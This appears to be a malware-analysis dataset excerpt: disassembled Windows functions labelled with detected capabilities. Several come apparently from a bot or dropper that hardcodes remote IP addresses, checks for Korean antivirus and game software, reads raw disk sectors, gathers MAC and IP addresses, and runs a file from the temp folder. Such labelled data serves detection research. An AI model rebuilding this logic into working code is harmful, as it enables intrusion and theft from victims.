joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406b5c
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
push 4
pop eax
call fcn.00404170
mov esi, esp
push 0x1c
lea eax, [ebp - 0x28]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_VirtualQuery]
test eax, eax
je 0x406bf7
mov ebx, dword [ebp - 0x24]
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemInfo]
mov ecx, dword [ebp - 0x48]
mov eax, dword [0x409378]
lea edi, [ecx - 1]
not edi
and edi, esi
sub edi, ecx
mov esi, eax
dec esi
neg esi
sbb esi, esi
and esi, 0xfffffff1
add esi, 0x11
imul esi, ecx
add esi, ebx
cmp edi, esi
mov dword [ebp - 8], ecx
jb 0x406bf7
cmp eax, 1
je 0x406c18
mov dword [ebp - 4], ebx
mov ebx, 0x1000
push 0x1c
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_VirtualQuery]
test eax, eax
je 0x406bf7
mov eax, dword [ebp - 0x1c]
add dword [ebp - 4], eax
test dword [ebp - 0x18], ebx
je 0x406bc4
test byte [ebp - 0x13], 1
mov eax, dword [ebp - 0x28]
mov dword [ebp - 4], eax
je 0x406bf3
xor eax, eax
inc eax
jmp 0x406c37
cmp edi, eax
jae 0x406bfb
xor eax, eax
jmp 0x406c37
cmp eax, esi
jae 0x406c02
mov dword [ebp - 4], esi
push 4
push ebx
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov eax, dword [0x409378]
jmp 0x406c1b
mov dword [ebp - 4], edi
dec eax
neg eax
sbb eax, eax
and eax, 0x103
lea ecx, [ebp - 0xc]
push ecx
inc eax
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea esp, [ebp - 0x58]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401ec0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x403228
push 0x4020c0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xffffff98
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
push 2
call dword [sym.imp.MSVCRT.dll___set_app_type]
add esp, 4
mov dword [0x404164], 0xffffffff
mov dword [0x404168], 0xffffffff
call dword [sym.imp.MSVCRT.dll___p__fmode]
mov ecx, dword [0x404160]
mov dword [eax], ecx
call dword [sym.imp.MSVCRT.dll___p__commode]
mov edx, dword [0x40415c]
mov dword [eax], edx
mov eax, dword [sym.imp.MSVCRT.dll__adjust_fdiv]
mov ecx, dword [eax]
mov dword [0x40416c], ecx
call fcn.004020b0
mov eax, dword [0x40411c]
test eax, eax
jne 0x401f51
push 0x4020a0
call dword [sym.imp.MSVCRT.dll___setusermatherr]
add esp, 4
call fcn.00402080
push 0x40400c
push 0x404008
call sub.MSVCRT.dll__initterm
add esp, 8
mov edx, dword [0x404158]
mov dword [ebp - 0x6c], edx
lea eax, [ebp - 0x6c]
push eax
mov ecx, dword [0x404154]
push ecx
lea edx, [ebp - 0x64]
push edx
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x60]
push ecx
call dword [sym.imp.MSVCRT.dll___getmainargs]
add esp, 0x14
push 0x404004
push section..data
call sub.MSVCRT.dll__initterm
add esp, 8
call dword [sym.imp.MSVCRT.dll___p__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x74], esi
cmp byte [esi], 0x22
jne 0x40205f
inc esi
mov dword [ebp - 0x74], esi
mov al, byte [esi]
test al, al
je 0x401fc5
cmp al, 0x22
jne 0x401fb7
cmp byte [esi], 0x22
jne 0x401fce
inc esi
mov dword [ebp - 0x74], esi
mov al, byte [esi]
test al, al
je 0x401fde
cmp al, 0x20
ja 0x401fde
inc esi
mov dword [ebp - 0x74], esi
jmp 0x401fce
mov dword [ebp - 0x30], 0
lea edx, [ebp - 0x5c]
push edx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [ebp - 0x30], 1
je 0x401fff
mov eax, dword [ebp - 0x2c]
and eax, 0xffff
jmp 0x402004
mov eax, 0xa
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
mov dword [ebp - 0x68], eax
push eax
call dword [sym.imp.MSVCRT.dll_exit]
jmp 0x402044
add esp, 4
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp byte [esi], 0x20
jbe 0x401fce
inc esi
mov dword [ebp - 0x74], esi
jmp 0x40205f
Function at 0x401000
Capabilities:
Create process on windows
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x210
mov eax, dword [0x415048]
xor eax, esp
mov dword [esp + 0x20c], eax
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x416de0
push 0x67
push esi
call edi
push 0x64
push 0x416d18
push 0x6d
push esi
call edi
mov eax, esi
call fcn.00401160
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call edi
call fcn.00402b71
call fcn.00402070
test eax, eax
je 0x40106c
call fcn.00403204
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.004012a0
test eax, eax
jne 0x40108b
mov ecx, dword [esp + 0x214]
pop edi
pop esi
xor ecx, esp
call fcn.00404687
mov esp, ebp
pop ebp
ret 0x10
test byte [0x417468], 7
je 0x401099
call fcn.00401820
mov ecx, dword [0x417740]
test ecx, ecx
je 0x4010c3
cmp word [0x417744], 0
jbe 0x4010c3
mov esi, str.218.54.31.226
call fcn.004038a1
mov ax, word [0x417744]
mov word [0x415f2c], ax
xor eax, eax
jmp 0x4010d0
movzx ecx, word [eax + 0x413244]
mov word [eax + 0x417c78], cx
add eax, 2
test cx, cx
jne 0x4010d0
call fcn.00403905
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0x12]
push edx
mov word [esp + 0x14], cx
call fcn.00407fe0
add esp, 0xc
lea eax, [esp + 8]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x417c78
lea ecx, [esp + 0xc]
push 0x104
push ecx
call fcn.00404696
add esp, 0xc
push 0x1f4
call edi
push 1
push 0
push 0x41325c
lea edx, [esp + 0x14]
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x4012a0
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d8
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
xor eax, eax
push 0x3e
push eax
lea ecx, [ebp - 0x46]
push ecx
mov word [ebp - 0x48], ax
call fcn.00407fe0
add esp, 0xc
lea edi, [ebp - 0x48]
call fcn.00403457
xor eax, eax
jmp 0x4012e0
movzx ecx, word [ebp + eax - 0x48]
mov word [eax + 0x416ea8], cx
add eax, 2
test cx, cx
jne 0x4012e0
push 0x416ea8
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x401323
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404687
mov esp, ebp
pop ebp
ret
push 0x416ea8
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x401311
lea edx, [ebp - 0x1d8]
push edx
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ebx, 0x417878
call fcn.00401cf0
test eax, eax
jne 0x4013f0
lea esp, [esp]
movzx ecx, word [eax + str.gduer]
mov word [eax + 0x417a20], cx
add eax, 2
test cx, cx
jne 0x401360
push str.112.175.88.207
push 0x40
push 0x41787c
call fcn.0040470b
add esp, 0xc
push str.AAAA
push 0x10
push 0x4178fe
call fcn.0040470b
add esp, 0xc
push 0x413298
push 0x40
push 0x41791e
call fcn.0040470b
mov eax, 0x51
mov ecx, 0x2b8e
add esp, 0xc
mov word [0x4178fc], ax
mov word [0x41799e], cx
xor eax, eax
jmp 0x4013d0
movzx ecx, word [eax + str.dosret]
mov word [eax + 0x417a00], cx
add eax, 2
test cx, cx
jne 0x4013d0
mov dword [0x417a40], 5
call fcn.004034e7
push 0x413298
call fcn.00403573
add esp, 4
mov dword [0x417740], eax
call fcn.00401440
push 0
push 0
push 0
push 0x401c10
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.00404687
mov esp, ebp
pop ebp
ret
Function at 0x401670
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x412]
push ecx
xor ebx, ebx
mov word [ebp - 0x414], ax
call fcn.00407fe0
xor edx, edx
push 0x206
push edx
lea eax, [ebp - 0x20a]
push eax
mov word [ebp - 0x20c], dx
call fcn.00407fe0
add esp, 0x18
push 0x104
lea ecx, [ebp - 0x414]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
push str.HangameKOREANHanUninstall.exe
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x20c]
xor edx, edx
push str._s_s
push ecx
mov word [ebp - 0x410], dx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
add esp, 0x10
lea edx, [ebp - 0x20c]
push edx
call edi
cmp eax, 0xffffffff
je 0x401718
mov ebx, 1
push str.NEOWIZPMangcommonPMLauncher.exe
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x20c]
push str._s_s
push ecx
call esi
add esp, 0x10
lea edx, [ebp - 0x20c]
push edx
call edi
cmp eax, 0xffffffff
je 0x401746
or ebx, 2
push str.NetmarbleCommonNetMarbleEndWeb.exe
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x20c]
push str._s_s
push ecx
call esi
add esp, 0x10
lea edx, [ebp - 0x20c]
push edx
call edi
cmp eax, 0xffffffff
je 0x401774
or ebx, 4
push str.Program_FilesAhnLabV3Lite30V3Lite.exe
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x20c]
push str._s_s
push ecx
call esi
add esp, 0x10
lea edx, [ebp - 0x20c]
push edx
call edi
cmp eax, 0xffffffff
je 0x4017a5
or ebx, 0x100
push str.Program_FilesESTsoftALYacAYLaunch.exe
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x20c]
push str._s_s
push ecx
call esi
add esp, 0x10
lea edx, [ebp - 0x20c]
push edx
call edi
cmp eax, 0xffffffff
je 0x4017d6
or ebx, 0x200
push str.Program_Files_naverNaverAgentNaverAgent.exe
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x20c]
push str._s_s
push ecx
call esi
add esp, 0x10
lea edx, [ebp - 0x20c]
push edx
call edi
cmp eax, 0xffffffff
je 0x401807
or ebx, 0x400
mov ecx, dword [ebp - 4]
pop edi
mov eax, ebx
pop esi
xor ecx, ebp
or eax, 0x2000000
pop ebx
call fcn.00404687
mov esp, ebp
pop ebp
ret
Function at 0x401ad0
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov ecx, str.112.175.88.209
call fcn.00403acf
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x401bf6
push 0x206
push eax
lea ecx, [ebp - 0x20e]
push ecx
mov word [ebp - 0x210], ax
call fcn.00407fe0
add esp, 0xc
xor edx, edx
push 0x206
push edx
lea eax, [ebp - 0x416]
push eax
mov word [ebp - 0x418], dx
call fcn.00407fe0
add esp, 0xc
lea ecx, [ebp - 0x210]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, 0x416ef0
mov edi, edi
cmp word [esi], 0
je 0x401b86
lea edx, [ebp - 0x210]
push edx
lea eax, [ebp - 0x418]
push 0x104
push eax
call fcn.0040470b
add esp, 0xc
push esi
lea ecx, [ebp - 0x418]
push 0x104
push ecx
call fcn.00404696
add esp, 0xc
add esi, 0x118
cmp esi, 0x417468
jl 0x401b50
mov esi, 0x416ef0
lea esp, [esp]
cmp word [esi], 0
je 0x401bb6
push edi
push str.112.175.88.209
mov ecx, esi
call fcn.00404343
add esp, 8
add esi, 0x118
cmp esi, 0x417468
jl 0x401ba0
push 0x417c78
lea edx, [ebp - 0x210]
push 0x104
push edx
call fcn.00404696
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x401bf4
mov ebx, 2
mov eax, ebx
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.00404687
mov esp, ebp
pop ebp
ret

Function at 0x401da0
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
test edi, edi
je 0x401ebe
test esi, esi
je 0x401ebe
mov eax, esi
lea edx, [eax + 2]
jmp 0x401dd0
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401dd0
sub eax, edx
sar eax, 1
je 0x401ebe
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x20a]
push ecx
mov word [ebp - 0x20c], ax
call fcn.00407fe0
add esp, 0xc
cmp dword [ebp + 8], ebx
jne 0x401e3e
cmp dword [0x415f10], 3
jne 0x401e3e
push 0x104
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x4135d8
lea ecx, [ebp - 0x20c]
push 0x104
push ecx
call fcn.00404696
add esp, 0xc
jmp 0x401e50
lea edx, [ebp - 0x20c]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.00404696
push 0x4135dc
lea ecx, [ebp - 0x20c]
push ecx
lea edx, [ebp - 0x210]
push edx
mov dword [ebp - 0x210], ebx
call fcn.004049b8
mov eax, dword [ebp - 0x210]
add esp, 0x18
test eax, eax
je 0x401ebe
push eax
push 1
push 0x200
push edi
call fcn.00404c49
mov eax, dword [ebp - 0x210]
push eax
call fcn.00404cd3
add esp, 0x14
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404687
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.00404687
mov esp, ebp
pop ebp
ret
Function at 0x401f80
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
mov dword [eax], 0x504d534d
xor eax, eax
mov edi, edi
mov cl, byte [esi + eax]
not cl
mov byte [esi + eax], cl
inc eax
cmp eax, 0x200
jb 0x401fa0
xor edx, edx
push 0x206
push edx
lea eax, [ebp - 0x212]
push eax
mov word [ebp - 0x214], dx
call fcn.00407fe0
add esp, 0xc
mov dword [ebp - 0x218], 0
test esi, esi
je 0x402059
lea ecx, [ebp - 0x214]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.golfinfo.ini
lea edx, [ebp - 0x214]
push 0x104
push edx
call fcn.00404696
push 0x4135fc
lea eax, [ebp - 0x214]
push eax
lea ecx, [ebp - 0x218]
push ecx
call fcn.004049b8
mov eax, dword [ebp - 0x218]
add esp, 0x18
test eax, eax
je 0x402046
push eax
push 1
push 0x200
push esi
call fcn.00404e9e
mov edx, dword [ebp - 0x218]
push edx
call fcn.00404cd3
add esp, 0x14
mov eax, 1
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00404687
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 8]
xor ecx, ebp
xor eax, eax
call fcn.00404687
mov esp, ebp
pop ebp
ret
Function at 0x402a00
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x20e]
push ecx
mov word [ebp - 0x210], ax
call fcn.00407fe0
add esp, 0xc
push 0x200
xor esi, esi
lea edx, [ebp - 0x410]
push esi
push edx
call fcn.00407fe0
add esp, 0xc
lea ebx, [ebp - 0x410]
call fcn.00401ed0
test eax, eax
je 0x402b5f
xor eax, eax
nop
movzx ecx, word [eax + 0x413298]
mov word [eax + 0x417570], cx
add eax, 2
test cx, cx
jne 0x402a60
xor eax, eax
jmp 0x402a80
movzx ecx, word [ebp + eax - 0x38a]
mov word [eax + 0x417470], cx
add eax, 2
test cx, cx
jne 0x402a80
xor eax, eax
lea esp, [esp]
movzx ecx, word [ebp + eax - 0x40c]
mov word [eax + 0x4174f0], cx
add eax, 2
test cx, cx
jne 0x402aa0
cmp dword [0x415f10], 3
mov ax, word [ebp - 0x38c]
mov cx, word [ebp - 0x2ea]
mov word [0x41746c], ax
mov word [0x4175f0], cx
mov dword [0x4175f4], 5
je 0x402af9
lea edx, [ebp - 0x210]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x402b24
push 0x104
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x4135d8
lea ecx, [ebp - 0x210]
push 0x104
push ecx
call fcn.00404696
add esp, 0xc
push str.golfset.ini
lea edx, [ebp - 0x210]
push 0x104
push edx
call fcn.00404696
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, 1
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404687
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404687
mov esp, ebp
pop ebp
ret

Function at 0x402b71
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
and dword [0x415f10], 0
push 0x11c
lea eax, [ebp - 0x120]
push 0
push eax
call fcn.00407fe0
add esp, 0xc
lea eax, [ebp - 0x120]
push eax
mov dword [ebp - 0x120], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x402c05
mov eax, dword [ebp - 0x118]
push 5
pop ecx
cmp dword [ebp - 0x11c], ecx
jne 0x402be1
cmp eax, 2
jae 0x402bd7
cmp eax, 1
jne 0x402c05
mov dword [0x415f10], 3
cmp dword [ebp - 0x11c], 6
jne 0x402c05
test eax, eax
jne 0x402bfa
mov dword [0x415f10], 4
jmp 0x402c05
cmp eax, 1
jne 0x402c05
mov dword [0x415f10], ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404687
leave
ret
Function at 0x402c11
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.00407fe0
add esp, 0xc
cmp dword [0x415f10], 3
lea eax, [ebp - 0x20c]
jne 0x402c77
push esi
mov esi, 0x104
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x4135d8
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.00404696
add esp, 0xc
pop esi
jmp 0x402c83
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x20c]
push eax
push str._s_s.exe
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
add esp, 0x10
call fcn.00404687
leave
ret

Function at 0x402d41
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
and dword [ebp - 0x218], 0
push ebx
push esi
push edi
mov dword [ebp - 0x21c], eax
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x214], ax
lea eax, [ebp - 0x212]
push eax
call fcn.00407fe0
add esp, 0xc
push 0x104
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [ebp - 0x218]
push eax
movzx eax, word [ebp - 0x214]
sub eax, 0x41
push eax
call fcn.00402f86
push dword [ebp - 0x218]
call fcn.00403073
mov edi, eax
add esp, 0xc
cmp edi, 0xffffffff
je 0x402e7a
mov esi, 0x400
push esi
call fcn.004051cd
pop ecx
push esi
mov ebx, eax
push 0
push ebx
call fcn.00407fe0
add esp, 0xc
mov ecx, edi
call fcn.00402e8b
push ebx
push edi
push 2
pop edx
mov ecx, eax
call fcn.00402f38
pop ecx
pop ecx
test eax, eax
je 0x402e73
mov ecx, dword [ebx + 4]
mov esi, str._GBP
mov eax, esi
cmp ecx, dword [eax]
jne 0x402e3f
lea eax, [ebx + 0x10e]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402e11
sub eax, edx
sar eax, 1
je 0x402e3f
mov edi, dword [ebp - 0x21c]
mov ecx, 0x8d
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
push ebx
movsw word es:[edi], word [esi]
call fcn.00405261
xor eax, eax
pop ecx
inc eax
jmp 0x402e7c
push ebx
push edi
push 2
pop edx
push 0x1e
pop ecx
call fcn.00402f38
pop ecx
pop ecx
test eax, eax
je 0x402e73
mov eax, dword [ebx + 4]
cmp eax, dword [esi]
jne 0x402e73
lea eax, [ebx + 0x10e]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402e62
sub eax, edx
sar eax, 1
jne 0x402e22
push ebx
call fcn.00405261
pop ecx
xor eax, eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404687
leave
ret
Function at 0x402f38
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
push edi
xor esi, esi
xor eax, eax
cmp dword [ebp + 8], 0xffffffff
mov dword [ebp - 0x18], esi
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 4], esi
je 0x402f80
xor eax, eax
shld eax, ecx, 9
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 4]
push eax
shl edx, 9
push edx
push dword [ebp + 0xc]
shl ecx, 9
push dword [ebp + 8]
mov dword [ebp - 0x10], ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov esi, eax
pop edi
mov eax, esi
pop esi
leave
ret

Function at 0x403105
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push edi
push 0x4135dc
push dword [ebp + 8]
mov ebx, eax
lea eax, [ebp - 4]
xor edi, edi
push eax
mov dword [ebp - 4], edi
call fcn.004049b8
add esp, 0xc
test eax, eax
je 0x403132
xor eax, eax
jmp 0x4031bd
push esi
push 2
push edi
push dword [ebp - 4]
call fcn.00405325
push dword [ebp - 4]
call fcn.00405535
push edi
push edi
push dword [ebp - 4]
mov esi, eax
call fcn.00405325
lea eax, [esi + ebx]
push eax
mov dword [ebp - 8], eax
call fcn.004051cd
push dword [ebp - 4]
mov edi, eax
push 1
push esi
push edi
call fcn.00404c49
push dword [ebp - 4]
call fcn.00404cd3
push ebx
lea ebx, [edi + esi]
call fcn.004031c1
push 0x4135fc
push dword [ebp + 0xc]
lea eax, [ebp - 4]
push eax
call fcn.004049b8
add esp, 0x44
pop esi
test eax, eax
jne 0x40312b
push dword [ebp - 4]
push 1
push dword [ebp - 8]
push edi
call fcn.00404e9e
push dword [ebp - 4]
call fcn.00404cd3
add esp, 0x14
test edi, edi
je 0x4031ba
push edi
call fcn.00405261
pop ecx
xor eax, eax
inc eax
pop edi
pop ebx
leave
ret
Function at 0x4036d2
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
xor esi, esi
push edi
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], 0x3a98
push dword [ebp - 0xc]
push esi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 4], eax
cmp eax, esi
je 0x403752
lea ecx, [ebp - 0xc]
push ecx
push eax
push esi
push 0x10
push 2
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersAddresses]
mov edi, eax
cmp edi, 0x6f
jne 0x403728
push dword [ebp - 4]
push esi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [ebp - 4], esi
inc dword [ebp - 8]
cmp edi, 0x6f
jne 0x403757
cmp dword [ebp - 8], 3
jb 0x4036ed
push 0xfffffffffffffffd
pop edi
cmp dword [ebp - 4], esi
je 0x40374b
push dword [ebp - 4]
push esi
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
or edi, 0xffffffff
jmp 0x40374b
cmp edi, esi
jne 0x403736
mov eax, dword [ebp - 4]
jmp 0x40376e
cmp dword [eax + 0x34], 6
jne 0x40376b
cmp dword [eax + 0x1c], esi
jne 0x403774
mov eax, dword [eax + 8]
cmp eax, esi
jne 0x403760
jmp 0x4037b1
mov edi, dword [ebp + 8]
lea esi, [eax + 0x2c]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, dword [eax + 0x10]
mov ecx, dword [ecx + 0xc]
mov cl, byte [ecx + 4]
mov esi, dword [ebp + 0xc]
mov byte [esi + 3], cl
mov ecx, dword [eax + 0x10]
mov ecx, dword [ecx + 0xc]
mov cl, byte [ecx + 5]
mov byte [esi + 2], cl
mov ecx, dword [eax + 0x10]
mov ecx, dword [ecx + 0xc]
mov cl, byte [ecx + 6]
mov byte [esi + 1], cl
mov eax, dword [eax + 0x10]
mov eax, dword [eax + 0xc]
mov al, byte [eax + 7]
mov byte [esi], al
xor esi, esi
xor edi, edi
jmp 0x403739